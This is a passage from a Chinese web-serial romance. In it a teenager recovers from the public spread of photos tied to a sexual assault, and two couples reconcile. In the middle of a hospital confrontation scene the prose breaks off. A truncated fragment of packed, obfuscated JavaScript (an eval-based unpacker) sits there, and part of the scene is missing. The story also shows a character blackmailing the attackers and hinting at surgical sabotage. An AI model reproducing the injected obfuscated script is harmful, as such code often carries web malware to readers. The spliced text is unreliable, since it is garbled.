但他会抓紧每一分每一秒,把该做的事做完。 然后,等鹿炽醒来的那一天。 等他亲口说:“对不起,我爱你。” 哪怕那是永别。 18. 你会不会觉得我脏 鹿炽醒来的时候,天还没亮。 他盯着陌生的天花板看了很久,才反应过来自己在医院。空气里有消毒水的味道,窗帘拉着,只有床头监护仪的指示灯在幽幽发亮。 他想动,但浑身像灌了铅。脑子里一片混沌,像塞满了湿棉花。那些照片,那些评论,那些指指点点的目光……碎片一样闪过,又很快沉下去。 门开了,有人走进来。鹿炽转过头,看见哥哥鹿之言端着水杯站在门口。 “小炽?”鹿之言声音很轻,“醒了?” 鹿炽张了张嘴,发不出声音。喉咙干得冒烟。 鹿之言快步走过来,把水杯放在床头,扶他坐起来:“慢点,先喝口水。” 温水顺着喉咙流下去,鹿炽感觉好了一点。他看着哥哥,眼圈慢慢红了。 “哥……”声音哑得厉害。 “我在。”鹿之言在床边坐下,握住他的手,“感觉怎么样?” 鹿炽摇头,眼泪掉下来:“我……我又搞砸了……” “没有。”鹿之言擦掉他的眼泪,“小炽,你没有错,一点都没有。” “可是……”鹿炽哽咽,“那些照片……” “已经处理了。”鹿之言说,“网警在删帖,学校也在调查。那些传播照片的人,一个都跑不掉。” 鹿炽摇头,哭得更凶:“删不干净的……他们都看见了……以后都会用那种眼神看我……” 鹿之言心脏一疼。他知道弟弟在怕什么——怕异样的眼光,怕背后的议论,怕成为别人茶余饭后的谈资。 这种恐惧,他太懂了。因为他也经历过。 “小炽,”鹿之言轻声说,“看着我。” 鹿炽抬起头,眼睛红肿。 “这个世界上,有很多人。有的善良,有的恶毒,有的聪明,有的愚蠢。”鹿之言说,“那些传播照片、说闲话的人,就是又恶毒又愚蠢的那一类。他们的看法,不值得你在乎。” “可是我……” “我知道你在乎。”鹿之言握紧他的手,“但小炽,你的人生不是活给他们看的。你是活给你自己,活给爱你的人看的。比如爸妈,比如我,比如……陆沉远。” 提到陆沉远,鹿炽眼神动了一下。 “那小子在外面守了一夜。”鹿之言说,“我让他去休息,他不肯,非要在门口坐着。刚才护士查房,他还偷偷扒门缝看你。” 鹿炽眼泪又涌上来:“他……他会不会觉得我……” “觉得你什么?”鹿之言打断他,“觉得你脏?觉得你丢人?鹿炽,如果陆沉远是那种人,哥第一个打断他的腿。” 鹿炽愣住。 “但他不是。”鹿之言笑了,“他爱你爱得要命。你晕倒的时候,他抱着你冲进急诊室,手都在抖。你抢救的时候,他在外面一拳砸在墙上,手都流血了。这样的一个人,你觉得他会因为几张照片就嫌弃你?” 鹿炽摇头,眼泪止不住。 “所以啊,”鹿之言揉揉他的头发,“别胡思乱想。好好养病,其他的交给我们。” 鹿炽点头,但眼神还是惶惶的。 鹿之言知道,这不是几句话就能解决的问题。创伤需要时间,而他能做的,只有陪伴。 “再睡会儿吧。”鹿之言说,“天还没亮。” “哥,”鹿炽小声说,“你别走……” “我不走。”鹿之言给他掖好被角,“我就在这儿。” 鹿炽闭上眼睛,但手还抓着哥哥的衣角。像小时候那样。 鹿之言坐在床边,看着弟弟苍白的脸,心里又疼又恨。疼弟弟受的苦,恨那些伤害他的人。 门被轻轻推开。陆知岩探进头,用口型说:“出来一下?” 鹿之言看了眼鹿炽,确认他睡着了,才起身出去。 走廊里,陆知岩穿着昨天的衣服,头发有点乱,眼下有淡淡的青黑。但看见鹿之言,眼睛立刻亮了。 “他醒了?”陆知岩问。 “嗯。”鹿之言关上门,“刚睡着。” “那就好。”陆知岩松了口气,然后凑过来,想亲鹿之言的额头。 鹿之言侧头躲开了:“这里是医院。” 陆知岩动作顿住,表情有点委屈:“又没人看见。” “那也不行。”鹿之言推开他,“注意影响。” 陆知岩更委屈了。昨晚还那么热情,今天就翻脸不认人。果然,拔……那什么无情。 “你吃饭了吗?”陆知岩问,“我买了早餐。” “还没。”鹿之言看了眼时间,“等会儿吃。” “现在吃吧,凉了就不好吃了。”陆知岩从袋子里拿出保温盒,“小米粥,还有你爱吃的包子。” 鹿之言确实饿了。他从昨晚到现在就没吃东西。他接过保温盒,走到走廊的长椅边坐下。 陆知岩挨着他坐下,眼巴巴地看着他。 鹿之言被他看得不自在:“你吃了吗?” “没有。”陆知岩说,“等你一起。” “那一起吃吧。” “好。”陆知岩笑了,又凑过来,“那你喂我?” 鹿之言瞪他:“自己没手?” “有,但想你喂。”陆知岩理直气壮,“四年没喂过了。” 鹿之言无语,舀了一勺粥,递到他嘴边。陆知岩张嘴吃了,眼睛弯成月牙。 “好吃。”他说,“你喂的更好吃。” 鹿之言耳朵红了:“闭嘴,吃饭。” 两人安静地吃了一会儿。陆知岩忽然说:“之言,等鹿炽好点了,你搬来跟我住吧。” 鹿之言动作一顿:“为什么?” “你那地方太小了。”陆知岩说,“而且离医院远。我那儿离这儿近,你上班方便。” “不用了。”鹿之言说,“我住习惯了。” “可是我想跟你一起住。”陆知岩看着他,“四年了,之言,我想每天醒来都能看见你。” 鹿之言心跳漏了一拍,但面上不动声色:“再说吧。” “又敷衍我。”陆知岩不高兴了,“昨晚你可不是这样的。” “昨晚是昨晚。”鹿之言低头喝粥,“现在是现在。” 陆知岩更委屈了。他伸手,轻轻碰了碰鹿之言的后颈——那里有他昨晚留下的吻痕。 “这里,”陆知岩声音低下来,“还疼吗?” 鹿之言手一抖,勺子差点掉了:“陆知岩!” “在呢。”陆知岩凑近,在他耳边说,“昨晚你这里最敏感,一碰就发抖……” 鹿之言耳朵红透了,一把推开他:“你再胡说八道就滚蛋。” “我错了。”陆知岩立刻认怂,但手还搂着他的腰,“不说了,吃饭。” 鹿之言拿他没办法,只能任由他搂着。 走廊那头传来脚步声。陆沉远从休息室出来,看见他俩的姿势,愣了一下。 “哥?”他表情有点复杂,“你们……” 陆知岩立刻松开手,坐直身体,一脸正经:“沉远啊,你醒了?鹿炽怎么样了?” 陆沉远:“……”变脸真快。 “他刚醒,又睡了。”鹿之言站起来,“你要进去看看吗?” “可以吗?” “轻点就行。” 陆沉远点头,轻轻推开病房门。 鹿之言把保温盒收拾好,对陆知岩说:“我去查房,你……” “我等你。”陆知岩说,“中午一起吃饭。” “我中午可能没时间。” “那我给你送过来。” 鹿之言看着他,叹了口气:“陆知岩,你不用这样。” “我想这样。”陆知岩认真地说,“之言,四年了,让我好好补偿你。” 鹿之言心软了,但嘴上还是硬:“随你。” 他转身要走,陆知岩拉住他,飞快地在他脸颊亲了一下。 “去吧。”陆知岩笑着说,“中午见。” 鹿之言瞪他一眼,但没说什么,走了。 陆知岩靠在墙上,看着他的背影,嘴角扬得老高。 真好。鹿之言回来了。虽然还有点别扭,但至少愿意让他靠近了。 他哼着歌,走到病房门口,透过玻璃往里看。 陆沉远坐在床边,握着鹿炽的手,小声说着什么。鹿炽闭着眼睛,但眉头舒展了很多。 陆知岩看着弟弟的样子,心里感慨。四年前他失去鹿之言的时候,也是这副德行。现在看着陆沉远,就像看着当年的自己。 好在,他找回来了。 而陆沉远,还来得及。 --- 中午,陆知岩果然提着午饭来了。他特意订了酒店的外卖,三菜一汤,摆了一桌子。 鹿之言刚从手术室出来,累得眼睛都睁不开。看见这一桌菜,愣了一下:“这么多?” “不知道你想吃什么,就都买了点。”陆知岩拉他坐下,“快吃,吃完休息会儿。” 鹿之言确实饿了,也不客气,拿起筷子就吃。陆知岩坐在他对面,也不吃,就看着他。 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“之言,累了吧?去休息室睡会儿?” “不了,等会儿还有病人。” “那靠我肩上眯一会儿?”陆知岩说,“就十分钟。” 鹿之言犹豫了一下,点点头。 陆知岩坐到他旁边,鹿之言把头靠在他肩上。陆知岩伸手搂住他,轻轻拍着他的背。 阳光从窗户照进来,暖洋洋的。办公室里很安静,只有两人的呼吸声。 鹿之言很快就睡着了。他太累了,这四年都没睡过一个好觉。现在靠在陆知岩肩上,闻着他身上熟悉的味道,竟然觉得安心。 陆知岩偏头看着他的睡颜,心里软成一片。 四年了,他终于又抱到这个人了。 他低头,在鹿之言发顶轻轻亲了一下。 “睡吧,”他小声说,“我在这儿。” --- 下午三点,鹿炽又醒了。 这次他状态好了点,能坐起来了。陆沉远给他削苹果,鹿炽就安静地看着。 “陆沉远。”鹿炽忽然开口。 “嗯?” “你……不嫌我吗?” 陆沉远手一顿,苹果皮断了。他放下刀,看着鹿炽:“我为什么要嫌你?” “因为……”鹿炽低头,“那些照片……” “鹿炽,”陆沉远握住他的手,“那些照片只会让我更心疼你,更恨那些伤害你的人。但它们永远不会改变我对你的感情。你明白吗?” 鹿炽眼泪掉下来:“可是我好脏……” “你不脏。”陆沉远一字一顿,“鹿炽,你是我见过最干净的人。脏的是那些人的心,不是你的身体。” 鹿炽看着他,哭得说不出话。 陆沉远把他搂进怀里:“别哭了,眼睛都肿了。” “陆沉远……”鹿炽抓着他的衣服,“你会一直陪着我吗?” “会。”陆沉远说,“这辈子都会。” “就算我……永远都好不起来?” “就算你永远都好不起来。”陆沉远认真地说,“鹿炽,我喜欢的是你这个人,不是你的状态。你开心也好,难过也好,健康也好,生病也好,我都喜欢。” 鹿炽哭得更凶了,但这次,眼泪里有了释然。 病房外,陆知岩和鹿之言透过玻璃看着里面。鹿之言眼睛有点红,陆知岩搂着他的肩。 “你弟弟会好起来的。”陆知岩说,“有沉远在,没事的。” “嗯。”鹿之言点头,“希望吧。” “你也会好起来的。”陆知岩看着他,“有我在,没事的。” 鹿之言笑了:“你什么时候学会说这种话了?” “一直都会。”陆知岩说,“只是以前没机会说。” 鹿之言看着他,忽然踮起脚,在他唇上轻轻碰了一下。 陆知岩愣住了。 “奖励你的。”鹿之言耳尖微红,“这几天……辛苦了。” 陆知岩反应过来,眼睛瞬间亮了:“那……再来一下?” “想得美。”鹿之言推开他,“干活去。” 说完转身就走,但嘴角是上扬的。 陆知岩摸着被亲过的嘴唇,傻笑了半天。 真好。 他的之言,终于回来了。 19. 该算账了吧? 时间滑到三月中旬的时候,鹿炽终于能出院了。 出院那天天气很好,阳光透过病房的窗户洒进来,在地板上铺出一块温暖的光斑。鹿炽坐在床边,看着鹿之言帮他收拾东西——其实没什么好收拾的,就几件换洗衣服,几本书,还有一堆药。 “这些药记得按时吃。”鹿之言把一个分装药盒放进书包,“早上蓝盖子,中午黄盖子,晚上白盖子。我帮你分好了一周的,吃完我再帮你分。” “嗯。”鹿炽点头,声音还有点虚,“哥,谢谢你。” “谢什么。”鹿之言揉揉他的头发,“我是你哥。” 陆沉远站在门口,手里提着个袋子。他今天特意请了假,说要来接鹿炽出院。此刻他看着鹿炽收拾行李的背影,心里松了口气,又有点不安。 出院意味着要回到学校,要面对那些可能还在流传的流言蜚语,要重新适应正常生活。 而鹿炽,真的准备好了吗? “好了。”鹿之言拉上书包拉链,“走吧。” 三人走出病房。走廊里,护士站的几个小护士看见鹿炽,都笑着跟他打招呼:“小鹿出院啦?要好好的哦!” 鹿炽脸红了,小声说:“谢谢姐姐们这段时间的照顾。” “不客气不客气。”一个圆脸护士笑着说,“记得按时回来复查啊。” “嗯。” 走出医院大门,阳光有些刺眼。鹿炽眯了眯眼,陆沉远立刻从袋子里掏出一顶帽子,戴在他头上:“遮遮太阳。” 帽子是米色的,软软的,戴上去很舒服。鹿炽摸了摸帽檐,小声说:“你什么时候买的?” “昨天。”陆沉远说,“感觉适合你。” 鹿之言在旁边看着,嘴角微扬。他想起自己刚和陆知岩在一起的时候,那人也是这么笨拙又细心地对他好。 四年了,有些东西变了,有些东西没变。 “哥,”鹿炽忽然说,“我想先去个地方。” 鹿之言一愣:“去哪儿?” “学校。”鹿炽说,“我想回去看看。” 陆沉远和鹿之言对视一眼,都从对方眼里看到了担忧。 “小炽,”鹿之言小心地问,“你确定吗?要不……再休息几天?” “不用。”鹿炽摇头,“迟早要面对的。而且……我想拿回我的东西。” 他指的是留在教室里的课本和笔记。住院这半个月,都是陆沉远帮他拿作业,但有些私人物品还在课桌里。 “我陪你去。”陆沉远说。 “我也去。”鹿之言说。 鹿炽笑了:“你们别这么紧张,我就是回学校拿个东西,又不是上战场。” 话是这么说,但当他真正踏进校门时,心跳还是不由自主地加快了。 现在是下午两点,正是上课时间。校园里很安静,只有教学楼里传来老师讲课的声音。他们沿着林荫道走到高三教学楼,上楼,停在二班门口。 从后门的玻璃窗看进去,数学老师正在讲台上写板书。同学们都在认真听讲,没有人注意到门外的人。 鹿炽的目光落在自己的座位上——第三排靠窗。桌面上空荡荡的,但抽屉里应该还有东西。 他深吸一口气,推开门。 “报告。”声音很轻,但足以让全班都听见。 讲台上的数学老师转过头,看见鹿炽,愣了一下:“鹿炽?你出院了?” “嗯。”鹿炽点头,“老师,我来拿东西。” 教室里安静了几秒,然后响起一阵窸窸窣窣的声音。所有人都回头看他,眼神复杂——有关心,有好奇,也有……躲闪。 鹿炽努力不去看那些目光,径直走向自己的座位。陆沉远跟在他身后,像一堵墙,挡住了大部分视线。 课桌抽屉里果然塞满了东西。课本,笔记,还有几本课外书。鹿炽蹲下来整理,手有点抖。 “我帮你。”陆沉远在他身边蹲下。 两人很快把东西收拾好,装进书包。鹿炽站起来时,感觉腿有点软。他深吸一口气,转身要走。 “鹿炽。”数学老师忽然开口。 鹿炽停下脚步。 “欢迎回来。”老师说,“落下的课,找时间给你补上。” 鹿炽鼻子一酸:“谢谢老师。” 走出教室,关上门。鹿炽靠在墙上,长长地呼出一口气。 “没事吧?”陆沉远问。 “没事。”鹿炽摇头,“比我想的好多了。” 至少,没有人当着他的面说难听的话。至少,老师还愿意给他补课。至少……他还有勇气回来。 这就够了。 下楼时,他们遇到了刚上完体育课的高二学生。几个男生打闹着跑上楼,其中一个不小心撞到了鹿炽。 “对不起对不起!”那男生连忙道歉,抬头看见鹿炽,愣了一下,“鹿……鹿炽学长?” 鹿炽记得他,是篮球队的学弟。 “嗯。”鹿炽点头,“没事。” “学长你……回来了?”学弟眼睛亮了一下,“太好了!我们还以为……” 他说到一半停住了,有点尴尬。 “以为什么?”鹿炽问。 “以为……你不回来了。”学弟小声说,“贴吧那些事……学长你别在意,我们都知道你是被冤枉的。” 鹿炽愣住了。 “真的!”另一个学弟凑过来,“我们都骂那些发帖的人渣呢!学长你放心,我们挺你!” “对!挺你!” 几个男生七嘴八舌地说着,眼神真诚。鹿炽看着他们,眼睛慢慢红了。 “谢谢。”他声音哽咽,“谢谢你们。” “不客气不客气!”学弟们笑了,“学长加油!高考一起冲!” 走出教学楼,鹿炽抬头看天。三月午后的阳光暖暖的,照在身上很舒服。 “好像……”他轻声说,“也没有那么可怕。” “本来就没那么可怕。”陆沉远握紧他的手,“鹿炽,这世界上还是好人多。” “嗯。” 鹿之言在旁边看着,心里一块大石头终于落了地。他最怕的就是弟弟从此一蹶不振,不敢面对人群。现在看来,鹿炽比他想象的更坚强。 “哥,”鹿炽转头看他,“我想吃学校门口那家冰淇淋。” “不行。”鹿之言立刻拒绝,“你胃还没好,不能吃凉的。” “就一口。”鹿炽眨眨眼,“一小口。” 鹿之言心软了:“……那就一小口。” “好!” 三人走到校门口的小卖部。鹿炽买了个甜筒,真的只吃了一小口,剩下的都给了陆沉远。陆沉远也不嫌弃,三两口就吃完了。 鹿之言看着他们,笑了。 年轻真好啊。一点点甜就能治愈那么多苦。 --- 把鹿炽送回家后,陆沉远没有立刻离开。他在鹿炽家楼下站了一会儿,然后拿出手机,拨通了一个号码。 “王律师,是我。那四个人现在在哪儿?” “还在人民医院。”王律师说,“张强——就是那个黄毛——的手臂骨折恢复得不好,需要二次手术。另外三个也还在康复期。” “好。”陆沉远眼神冷下来,“我下午过去一趟。” “陆总,您要做什么?需要我陪您吗?” “不用。”陆沉远说,“我就是去……看看他们。” 挂断电话,他拦了辆车,直奔人民医院。 住院部三楼,骨科病房。陆沉远走到护士站,报了个假名字:“我找张强,他是我表弟。” 护士查了下记录:“307病房,3床。” “谢谢。” 陆沉远走到307门口,透过门上的玻璃往里看。病房里有四张床,躺着的正是那四个人渣。黄毛——张强躺在靠窗的床上,左胳膊打着石膏吊着,右腿也裹着绷带。他正拿着手机,不知道在看什么,脸上挂着恶心的笑。 另外三个人情况也好不到哪儿去。一个肋骨骨折,一个膝盖骨裂,还有一个手腕骨折。都挂着彩,但精神头看起来还不错。 陆沉远推门进去。 病房里瞬间安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他看向另外三个人:“李伟,你爸因为吸毒被强制戒毒三次了吧?王磊,你表哥去年因为贩毒进去了,判了十五年。赵明,你妈……” “够了!”李伟吼出来,“你到底想干什么?!” “我想干什么?”陆沉远笑了,“我想让你们滚得远远的,永远别出现在鹿炽面前。” “我们……我们也没对他怎么样……”王磊小声说,“就是……开了个玩笑……” “玩笑?”陆沉远眼神一冷,“把强/奸说成玩笑?把传播受害者照片说成玩笑?你们真他妈会开玩笑。” 他站起来,居高临下地看着四人:“听着,我只说一次。第一,把所有关于鹿炽的照片、视频全部销毁。第二,在网上公开道歉,承认照片是你们强迫拍摄并恶意传播的。第三,从今天起,滚出这个城市,永远别再回来。” “凭、凭什么?!”张强梗着脖子,“我们凭什么听你的?!” “凭这个。”陆沉远把手机收起来,“如果你们照做,我就当没见过这些证据。如果你们不照做……那我就把这些东西交给警察。□□罪判不了你们几年,但聚众斗殴致人重伤、吸/毒、贩/毒……加起来,够你们在监狱里待到四十岁了。” 四个人脸色惨白。 “给你们三天时间。”陆沉远转身要走,“三天后,如果鹿炽还能在网上看到任何相关的东西,或者你们还在这座城市……那就别怪我不客气。” 走到门口,他停下来,回头补充了一句:“对了,忘了告诉你们。你们二次手术的主刀医生,是我哥的朋友。手术过程中……万一出了什么意外,比如神经损伤啊,骨头接歪啊,也是有可能的。” 这话说得轻飘飘的,但威胁意味十足。 四个人吓得浑身发抖。 陆沉远走出病房,关上门。走廊里很安静,能听见自己的心跳声。 他知道自己这样做不合法,甚至很卑鄙。但对付人渣,就得用人渣的方式。 他不能再让鹿炽受伤害了。一次都不行。 手机震动,是鹿炽发来的消息:“你到家了吗?” 陆沉远回:“还没,在办点事。马上就回去。” “哦。那……你晚上来我家吃饭吗?我妈说想谢谢你。” 陆沉远笑了:“好。” 他收起手机,走出医院。 阳光很好,风很暖。 20. 寒冬暖阳 期末考试结束那天,天空飘起了细雪。 鹿炽走出考场,看着纷纷扬扬的雪花,长长地舒了一口气。终于考完了。这是他出院后的第一次大考,虽然复习时间比别人少半个月,但他觉得自己答得还不错。 “怎么样?”陆沉远从后面走上来,很自然地接过他的书包。 “还行。”鹿炽说,“你呢?” “应该不会太差。”陆沉远笑了,“至少不会让你丢脸。” 鹿炽也笑了。雪落在他的睫毛上,很快化成细小的水珠。陆沉远伸手帮他擦掉,动作温柔得像在对待什么易碎品。 “寒假有什么打算?”陆沉远问。 “不知道。”鹿炽想了想,“可能……在家学习吧。还有半年就高考了。” “也别太拼。”陆沉远说,“劳逸结合。” 两人并肩走出校门。校门口停着一辆黑色的迈巴赫,在冬日的灰蒙天空下显得格外醒目。鹿炽愣了一下,看见车窗降下来,鹿之言坐在驾驶座上对他招手。 “哥?”鹿炽走过去,“你怎么来了?” “接你回家。”鹿之言说,“考完了,放松一下。” 鹿炽拉开车门坐进去,陆沉远也跟着坐进后座。车里很暖和,还有淡淡的香气。 “知岩哥呢?”鹿炽问。 “他公司有事,晚点来。”鹿之言从后视镜看了陆沉远一眼,“沉远,你哥让我问你,寒假要不要来家里住几天?” 陆沉远愣了一下:“我哥说的?” “嗯。”鹿之言点头,“他说你一个人在家也没意思,不如过来跟小炽一起学习。” 陆沉远看向鹿炽,鹿炽眼睛亮亮地看着他:“来吗?” “……好。”陆沉远笑了,“那就打扰了。” “不打扰。”鹿之言发动车子,“反正房间多。” 迈巴赫平稳地驶入车流。鹿炽看着窗外飞逝的雪景,忽然觉得,这个冬天好像没那么冷了。 --- 寒假第一天,陆沉远拎着行李箱到了鹿家。 鹿妈妈热情地把他迎进来:“小陆来啦!快进来快进来!外面冷吧?” “还行。”陆沉远脱下外套,“阿姨好。” “好好好。”鹿妈妈笑得眼睛弯弯,“房间给你收拾好了,就在小炽隔壁。缺什么就跟阿姨说啊。” “谢谢阿姨。” 鹿炽从楼上下来,看见陆沉远,眼睛亮了:“你来啦!” “嗯。”陆沉远看着他,“刚起?” “才不是。”鹿炽脸红了,“我早就起了,在看书。” “是吗?”陆沉远挑眉,“那脸上怎么还有枕头印?” 鹿炽赶紧摸脸:“哪有!” 陆沉远笑了,伸手揉了揉他的头发:“骗你的。” “你!” 两人打打闹闹地上楼,鹿妈妈在楼下看着,嘴角一直挂着笑。她转身对鹿之言说:“你看,小炽现在多开心。” “嗯。”鹿之言点头,“多亏了沉远。” “你也多学学人家。”鹿妈妈瞥了他一眼,“跟知岩好好过,别整天闹别扭。” 鹿之言:“……” 他怎么就闹别扭了? 下午,陆知岩也来了。他开着一辆亮橙色的阿波罗跑车,引擎声轰鸣,停在鹿家门口时引得邻居纷纷探头。 鹿之言听见声音,走到门口,看见那辆骚包到极致的车,脸都黑了。 “陆知岩!”他压低声音,“你开这车来干什么?!” “接你啊。”陆知岩下车,一身剪裁得体的黑色大衣,衬得身高腿长,“不是说好今天去看电影吗?” “我没答应!” “你答应了。”陆知岩走过来,很自然地搂住他的腰,“昨晚电话里说的。” 鹿之言想挣开,但陆知岩搂得很紧。他看了眼周围看热闹的邻居,脸更黑了:“你先松开……” “不松。”陆知岩凑到他耳边,“之言,我想你了。” 鹿之言耳朵红了,但嘴上还是硬:“我们昨天才见过。” “一天不见如隔三秋。”陆知岩说得理直气壮,“快,上车。我订了六点的票。” 鹿之言拿他没办法,只能回屋拿了外套。出来时,鹿炽和陆沉远也站在门口。 “哥,你们要出去?”鹿炽问。 “嗯。”鹿之言有点不自在,“看电影。” “哦——”鹿炽拉长声音,笑得促狭,“约会啊。” 鹿之言瞪他:“小孩子别多问。” “我都十八了。”鹿炽撇嘴,“而且我也有约会。” 他说着看向陆沉远:“对吧?” 陆沉远笑着点头:“对。我们去看冰雕展。” “那正好。”陆知岩说,“一起出门吧。” 两对人一起走到门口。看着那辆亮橙色的阿波罗,陆沉远挑了挑眉:“哥,你这车……是不是太招摇了?” “招摇吗?”陆知岩一脸无辜,“我觉得挺低调的啊。” 鹿之言:“……”低调个鬼。 最终,鹿之言还是坐上了那辆“低调”的阿波罗。跑车引擎发出低沉的轰鸣,一溜烟开走了。 鹿炽看着远去的车影,小声对陆沉远说:“知岩哥真骚包。” 陆沉远笑了:“他以前不这样的。可能是……追妻心切?” 鹿炽也笑了:“那我们呢?我们开什么车?” 陆沉远从口袋里掏出车钥匙:“我哥把他另一辆车留给我了。” 他按了下钥匙,停在路边的另一辆车闪了闪灯——是一辆银灰色的保时捷,虽然没有阿波罗那么夸张,但也足够拉风。 鹿炽瞪大眼睛:“这……这也是你哥的?” “嗯。”陆沉远拉开车门,“上车吧,陆司机为您服务。” 鹿炽笑着坐进去。车里很干净,有淡淡的皮革香。陆沉远发动车子,平稳地驶出小区。 “我们去哪儿?”鹿炽问。 “先保密。”陆沉远说,“到了你就知道了。” 车子穿过城市,最后停在了郊区的冰雕公园门口。因为是寒假,公园里人很多,大多是情侣或一家人。 陆沉远停好车,很自然地牵起鹿炽的手:“走吧。” 鹿炽低头看着两人交握的手,心里暖暖的。他不再像以前那样害怕别人的目光了——经历了那么多,他发现,真正在乎你的人,永远不会因为别人的闲话而离开你。 而那些不相干的人,他们的目光,根本不值得在意。 冰雕公园很大,各种冰雕在灯光下晶莹剔透。有城堡,有动物,有神话人物,美得像童话世界。 鹿炽看得很认真,时不时拿出手机拍照。陆沉远就在旁边陪着他,偶尔帮他整理围巾,怕他冷。 “陆沉远,”鹿炽忽然说,“谢谢你。” “谢什么?” “谢谢你……一直陪着我。”鹿炽看着他,“如果没有你,我可能……” “没有如果。”陆沉远打断他,“我会一直陪着你,这是既定事实。” 鹿炽眼睛红了:“你怎么总是说这种话……” “因为是真话。”陆沉远笑了,“走吧,前面还有更好的。” 两人继续往前走。在一个冰雕的爱心隧道里,陆沉远停下来,转身看着鹿炽。 隧道里灯光很暗,只有冰雕反射出幽幽的蓝光。周围很安静,能听见彼此的呼吸声。 “鹿炽,”陆沉远轻声说,“新年愿望是什么?” 鹿炽想了想:“考上A大。还有……家人都健康。” “就这些?” “嗯。”鹿炽点头,“你呢?” “我啊,”陆沉远看着他,“我的愿望是……你的愿望都能实现。” 鹿炽愣住,然后笑了:“你这算什么愿望……” “这就是我的愿望。”陆沉远认真地说,“鹿炽,我想看你笑,看你开心,看你实现所有想做的事。这就是我最大的愿望。” 鹿炽眼泪掉下来。他扑进陆沉远怀里,声音哽咽:“你怎么这么好啊……” “因为是你。”陆沉远抱住他,“因为是你,所以我必须好。” 两人在冰雕隧道里拥抱了很久。周围偶尔有情侣经过,但没人打扰他们。 这一刻,世界安静得只剩下彼此。 --- 与此同时,电影院里的另一对,气氛就没那么浪漫了。 陆知岩选的是一部爱情片,但鹿之言全程都在看手机——回复工作消息,查看鹿炽的心理评估报告,安排下周的会诊。 陆知岩忍了半小时,终于忍不住了,把鹿之言的手机抽走。 “你干嘛?”鹿之言皱眉。 “看电影。”陆知岩把手机塞进自己口袋,“工作的事等会儿再说。” “我在工作……” “今天休息。”陆知岩握住他的手,“之言,我们是在约会。” 鹿之言看着他认真的眼神,叹了口气:“好吧。” 他强迫自己把注意力放回电影上。剧情很老套,男女主角经历种种误会最后在一起。但看到某个桥段时,鹿之言忽然说:“这剧情不对。” “哪里不对?” “男主角因为误会离开女主角三年。”鹿之言说,“三年都不联系,这根本不是爱。” 陆知岩心里一 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“嗯。”鹿之言点头,“其实早就原谅了。只是……拉不下脸来找你。” 陆知岩也笑了,凑过去在他唇上亲了一下:“那我以后多给你台阶下。” “油嘴滑舌。” 电影散场后,两人去餐厅吃饭。陆知岩订了靠窗的位置,能看见城市的夜景。 “小炽最近怎么样?”陆知岩问。 “好多了。”鹿之言说,“情绪稳定了很多,晚上也能睡整觉了。就是……偶尔还会做噩梦。” “需要我帮忙吗?” “不用。”鹿之言摇头,“有沉远在,他比任何心理医生都管用。” 陆知岩笑了:“那小子,没想到还挺会疼人。” “是啊。”鹿之言也笑了,“比你当年强多了。” “我当年怎么了?”陆知岩不服,“我对你不好吗?” “好是好,就是……”鹿之言想了想,“太霸道了。” “那现在呢?” “现在……”鹿之言看着他,“更霸道了。” 陆知岩大笑:“那你还不是喜欢。” 鹿之言脸红了:“谁喜欢了……” “你不喜欢?”陆知岩挑眉,“那昨晚是谁抱着我不放的?” “陆知岩!”鹿之言压低声音,“公共场合,注意影响!” “好好好,不说了。”陆知岩笑着给他夹菜,“吃饭吃饭。” 两人安静地吃了会儿,陆知岩忽然说:“之言,等鹿炽高考完,我们出去旅游吧。” “去哪儿?” “哪儿都行。”陆知岩说,“就我们两个,找个没人认识的地方,待上一两个月。” 鹿之言心动了一下,但嘴上还是说:“医院那么忙,哪有时间。” “请假。”陆知岩说,“或者辞职也行。我养你。” “谁要你养。”鹿之言瞪他,“我有工作。” “那请长假。”陆知岩坚持,“之言,我们错过了四年,我不想再错过任何时间了。” 鹿之言看着他认真的眼神,心软了:“……到时候再说吧。” “那我就当你答应了。”陆知岩笑得像个孩子。 鹿之言看着他,心里暖暖的。 四年了,这个人变了,也没变。变的是更成熟,更有担当。没变的是……对他的爱,一点都没少。 这就够了。 吃完饭,陆知岩送鹿之言回家。到了楼下,鹿之言要下车,陆知岩拉住他。 “之言,”陆知岩看着他,“今晚……我能留下吗?” 鹿之言脸红了:“我爸妈在家……” “那去我那儿?” 鹿之言犹豫了一下,点头:“……嗯。” 陆知岩笑了,发动车子。跑车在夜色中划出一道亮橙色的弧线,驶向属于他们的夜晚。 而另一边,鹿炽和陆沉远也回到了家。 鹿妈妈已经睡了,客厅里只留了一盏小夜灯。两人轻手轻脚地上楼,在鹿炽房间门口停下。 “晚安。”陆沉远说。 “晚安。”鹿炽看着他,忽然踮起脚,在他脸颊亲了一下,“今天……很开心。” 陆沉远笑了,在他额头回亲了一下:“明天会更开心。” “嗯。” 鹿炽走进房间,关上门。他靠在门后,听着陆沉远走进隔壁房间的脚步声,嘴角一直扬着。 这个冬天,很冷。 但他的心,很暖。 因为有陆沉远在。 有家人在。 有未来在。 21. 蜜月 出发去洛杉矶那天,首都机场刚好下了场大雪。 鹿炽裹着件白色羽绒服站在值机柜台前,整个人缩成小小一团,只露出一双眼睛。他看着陆沉远把四个人的行李一件件搬上传送带,小声问:“真的……不会被发现吗?” “放心。”陆沉远拍拍手,“我哥连你爸妈那边都说好了。” “他是怎么说的?” “说带你去美国考察医学院。”陆沉远表情微妙,“顺便复查一下心理状态。” 鹿炽:“……” 他转头看向不远处那对“罪魁祸首”——陆知岩正搂着鹿之言的腰,低头在他耳边说着什么,笑得一脸荡漾。鹿之言面无表情地翻着护照,但耳尖是红的。 “他们俩怎么比我们还腻歪。”鹿炽小声嘟囔。 “憋了四年了。”陆沉远说,“正常。” 鹿炽想了想,觉得有道理。 飞机是头等舱,陆知岩大手笔地包了四个连座。鹿之言一上飞机就戴上眼罩补觉——他昨晚值夜班,凌晨三点才到家,早上六点又被陆知岩从被窝里薅起来。 “睡吧。”陆知岩给他掖好毯子,“到了叫你。” 鹿之言含糊地“嗯”了一声,很快呼吸就平稳了。 陆知岩也不吵他,就安静地看着,时不时帮他理一下蹭乱的头发。那眼神温柔得能滴出水,跟平时那个霸道总裁判若两人。 陆沉远在旁边看着,默默给鹿炽剥了个橙子。 “他们感情真好。”鹿炽接过橙子,小声说。 “嗯。”陆沉远点头,“我哥等了他四年。” “如果是你……”鹿炽犹豫了一下,“你会等我四年吗?” 陆沉远看着他:“我会等你一辈子。” 鹿炽脸红了,低头吃橙子,但嘴角忍不住往上翘。 